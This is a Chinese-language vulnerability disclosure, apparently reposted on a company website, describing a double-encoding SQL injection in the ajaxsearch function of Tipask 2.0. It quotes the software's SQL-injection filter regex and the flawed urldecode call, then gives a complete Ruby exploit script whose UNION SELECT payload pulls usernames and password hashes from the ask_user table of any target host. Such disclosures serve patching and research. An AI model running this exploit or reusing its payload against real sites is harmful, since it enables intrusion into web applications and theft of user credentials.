点击这里给我发消息 点击这里给我发消息

tipask问答系统2.0 ajaxsearch二次编码注入漏洞

添加时间:2013-12-7
    相关阅读: 设计 SEO 程序 SQL PHP VC 系统


漏洞作者: 猪头子

提交时间: 2013-06-13 10:38

公开时间: 2013-09-11 10:39

漏洞类型: SQL注射漏洞

简要描述:

Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念,采用MVC构架,系统具有速度快,SEO友好,界面操作简洁明快等特点。

但是Tipask中存在二次编码问题,所以导致绕过系统过滤造成注入。

详细说明:

在程序入口/model/tipask.class.php init_request()中:

 

  1. $this->get = taddslashes($this-> get, 1); 
  2.  
  3. $this-> post = taddslashes(array_merge($_GET, $_POST)); 
  4.  
  5. checkattack($this-> post, 'post' ); 
  6.  
  7. checkattack($this-> get, 'get' ); 
  8.  
  9. 对get和post的参数进行了的addslashes,经过了checkattack检查: 
  10.  
  11. function 
  12.  
  13. checkattack($reqarr, $reqtype'post') { 
  14.  
  15. $filtertable = 
  16.  
  17. array
  18.  
  19. 'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' , 
  20.  
  21. 'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' , 
  22.  
  23. 'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' 
  24.  
  25. ); 
  26.  
  27. foreach ($reqarr as $reqkey => $reqvalue) { 
  28.  
  29. if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1) { 
  30.  
  31. print('Illegal operation!' ); 
  32.  
  33. exit(-1); 
  34.  
  35.  
  36.  

 

 

这个检查主要针对SQL注入,发现匹配的规则就退出

现在看漏洞处/control/question.php onajaxsearch函数:

/* 提问自动搜索已经解决的问题 */

 

function onajaxsearch () {

$title = urldecode($this-> get[2]);

$questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5);

include template('ajaxsearch' );

}

 

对get的第二个参数urldecode后直接传入SQL语句,绕过了前面的过滤和检查,导致SQL注入。

漏洞证明:

 

  1. require "net/http" 
  2.  
  3. require "uri" 
  4.  
  5. def urlencode(exp) 
  6.  
  7. str = ""
  8.  
  9. exp.each_char { |c| 
  10.  
  11. str << sprintf("%%%x", c.ord) 
  12.  
  13.  
  14. return str 
  15.  
  16. end 
  17.  
  18. def request(method, url) 
  19.  
  20. if method.eql?("get") 
  21.  
  22. uri = URI.parse(url) 
  23.  
  24. http = Net::HTTP.new(uri.host, uri.port) 
  25.  
  26. response = http.request(Net::HTTP::Get.new(uri.request_uri)) 
  27.  
  28. return response 
  29.  
  30. end 
  31.  
  32. end 
  33.  
  34. doc =<<HERE 
  35.  
  36. ------------------------------------------------------- 
  37.  
  38. Tipask 2.0 Inejction Exploit 
  39.  
  40. Author:ztz 
  41.  
  42. Blog:http://ztz.fuzzexp.org/ 
  43.  
  44. ------------------------------------------------------- 
  45.  
  46. HERE 
  47.  
  48. usage =<<HERE 
  49.  
  50. Usage: ruby #{$0} host port path 
  51.  
  52. example: ruby #{$0} help.tipask.com 80 / 
  53.  
  54. HERE 
  55.  
  56. puts doc 
  57.  
  58. if ARGV.length < 3 
  59.  
  60. puts usage 
  61.  
  62. else 
  63.  
  64. $host = ARGV[0] 
  65.  
  66. $port = ARGV[1] 
  67.  
  68. $path = ARGV[2] 
  69.  
  70. puts "[*]send request..." 
  71.  
  72. url = "http://#{$host}:#{$port}#{$path}?question/ajaxsearch/" 
  73.  
  74. exp = urlencode("' UNION SELECT 1,2,3,4,5,6,7,8,concat(username,char(0x3d),password),10,11,12,13,14,15,16,17,18,19,20,21 from ask_user#") 
  75.  
  76. response = request("get", url<<exp
  77.  
  78. result = response.body.scan(/\w+=\w{32}/) 
  79.  
  80. puts result 
  81.  
  82. end 
tipask问答系统2.0 ajaxsearch二次编码注入漏洞

咨询热线:020-85648757 85648755 85648616 0755-27912581 客服:020-85648756 0755-27912581 业务传真:020-32579052
广州市网景网络科技有限公司 Copyright◎2003-2008 Veelink.com. All Rights Reserved.
广州商务地址:广东省广州市黄埔大道中203号(海景园区)海景花园C栋501室
= 深圳商务地址:深圳市宝源路华丰宝源大厦606
研发中心:广东广州市天河软件园海景园区 粤ICP备05103322号 工商注册